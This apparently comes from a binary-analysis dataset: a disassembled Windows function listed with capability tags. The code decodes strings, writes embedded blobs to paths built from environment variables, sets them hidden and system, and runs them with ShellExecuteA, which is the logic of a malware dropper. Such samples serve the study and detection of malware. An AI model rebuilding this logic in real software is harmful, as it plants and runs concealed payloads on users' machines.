Function at 0x4010cf
Capabilities:
Create process on windows
Query environment variable
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x4b0
mov eax, 4
mov r11, rax
lea rax, [0x00402021]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov ecx, 0xa
mov r11, rcx
lea rcx, [0x00402026]
mov r10, rcx
mov qword [rbp - 8], rax
mov rcx, r10
mov rdx, r11
call section..text
mov ecx, 0x12e
mov r11, rcx
lea rcx, [0x00402031]
mov r10, rcx
mov qword [rbp - 0x10], rax
mov rcx, r10
mov rdx, r11
call section..text
mov ecx, 0
mov qword [rsp + 0x28], rcx
movabs rcx, 0
mov qword [rsp + 0x20], rcx
mov r9, rax
mov rax, qword [rbp - 0x10]
mov r8, rax
mov rax, qword [rbp - 8]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.shell32.dll_ShellExecuteA
movabs rax, 0x30
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x40]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
lea rax, [0x00402160]
mov qword [rbp - 0x40], rax
lea rax, [0x0040216b]
mov qword [rbp - 0x38], rax
lea rax, [0x00402177]
mov qword [rbp - 0x30], rax
lea rax, [0x00a4bb78]
mov qword [rbp - 0x28], rax
lea rax, [0x00a4bb8a]
mov qword [rbp - 0x20], rax
lea rax, [0x00a4bb98]
mov qword [rbp - 0x18], rax
movabs rax, 0x20
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x60]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 0xa
mov dword [rbp - 0x60], eax
mov eax, 0xb
mov dword [rbp - 0x5c], eax
mov eax, 0x649a00
mov dword [rbp - 0x58], eax
mov eax, 1
mov dword [rbp - 0x54], eax
mov eax, 0x11
mov dword [rbp - 0x50], eax
mov eax, 0xd
mov dword [rbp - 0x4c], eax
mov eax, 0x1e75dd0
mov dword [rbp - 0x48], eax
mov eax, 1
mov dword [rbp - 0x44], eax
mov eax, 0
mov dword [rbp - 0x64], eax
mov eax, 0
mov dword [rbp - 0x478], eax
mov eax, dword [rbp - 0x478]
cmp eax, 2
jge 0x401585
jmp 0x401278
mov eax, dword [rbp - 0x478]
add eax, 1
mov dword [rbp - 0x478], eax
jmp 0x401253
mov eax, dword [rbp - 0x478]
movsxd rax, eax
movabs rcx, 0x18
imul rax, rcx
lea rcx, [rbp - 0x40]
add rcx, rax
lea rax, [0x028c1969]
mov r11, rax
mov rax, qword [rcx]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcmp
cmp eax, 0
jne 0x40132f
mov eax, dword [rbp - 0x478]
movsxd rax, eax
movabs rcx, 0x18
imul rax, rcx
lea rcx, [rbp - 0x40]
add rcx, rax
add rcx, 8
mov eax, dword [rbp - 0x478]
movsxd rax, eax
shl rax, 4
lea rdx, [rbp - 0x60]
add rdx, rax
add rdx, 4
mov eax, dword [rdx]
mov r11, rax
mov rax, qword [rcx]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov r11, rax
lea rax, [rbp - 0x474]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcpy
mov eax, 1
mov dword [rbp - 0x64], eax
jmp 0x4013ff
mov eax, dword [rbp - 0x478]
movsxd rax, eax
movabs rcx, 0x18
imul rax, rcx
lea rcx, [rbp - 0x40]
add rcx, rax
mov eax, dword [rbp - 0x478]
movsxd rax, eax
shl rax, 4
lea rdx, [rbp - 0x60]
add rdx, rax
mov eax, dword [rdx]
mov r11, rax
mov rax, qword [rcx]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_getenv
mov ecx, dword [rbp - 0x478]
movsxd rcx, ecx
movabs rdx, 0x18
imul rcx, rdx
lea rdx, [rbp - 0x40]
add rdx, rcx
add rdx, 8
mov ecx, dword [rbp - 0x478]
movsxd rcx, ecx
shl rcx, 4
mov qword [rbp - 8], rax
lea rax, [rbp - 0x60]
add rax, rcx
add rax, 4
mov ecx, dword [rax]
mov r11, rcx
mov rax, qword [rdx]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov r9, rax
mov rax, qword [rbp - 8]
mov r8, rax
lea rax, [0x028c197b]
mov r11, rax
lea rax, [rbp - 0x474]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_sprintf
lea rax, [0x028c1981]
mov r11, rax
lea rax, [rbp - 0x474]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x480], rax
mov eax, dword [rbp - 0x478]
movsxd rax, eax
movabs rcx, 0x18
imul rax, rcx
lea rcx, [rbp - 0x40]
add rcx, rax
add rcx, 0x10
mov eax, dword [rbp - 0x478]
movsxd rax, eax
shl rax, 4
lea rdx, [rbp - 0x60]
add rdx, rax
add rdx, 8
mov eax, dword [rdx]
mov r11, rax
mov rax, qword [rcx]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov ecx, dword [rbp - 0x478]
movsxd rcx, ecx
shl rcx, 4
lea rdx, [rbp - 0x60]
add rdx, rcx
add rdx, 8
mov ecx, dword [rdx]
movsxd rcx, ecx
mov rdx, qword [rbp - 0x480]
mov r9, rdx
movabs rdx, 1
mov r8, rdx
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 0x480]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_fclose
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x4014f5
mov eax, 6
mov r11, rax
lea rax, [rbp - 0x474]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [rbp - 0x478]
movsxd rax, eax
shl rax, 4
lea rcx, [rbp - 0x60]
add rcx, rax
add rcx, 0xc
mov eax, dword [rcx]
cmp eax, 0
je 0x401580
mov eax, 4
mov r11, rax
lea rax, [0x028c1984]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov ecx, 0xa
mov qword [rsp + 0x28], rcx
movabs rcx, 0
mov qword [rsp + 0x20], rcx
movabs rcx, 0
mov r9, rcx
lea rcx, [rbp - 0x474]
mov r8, rcx
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.shell32.dll_ShellExecuteA
jmp 0x401267
mov eax, 0
leave
ret